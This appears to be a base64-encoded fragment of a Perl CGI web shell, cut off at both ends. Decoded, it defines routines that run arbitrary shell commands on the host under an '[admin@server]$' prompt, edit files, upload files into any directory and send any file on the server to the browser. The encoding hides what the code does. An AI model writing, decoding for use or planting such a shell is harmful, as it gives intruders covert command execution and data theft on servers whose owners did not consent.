V2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj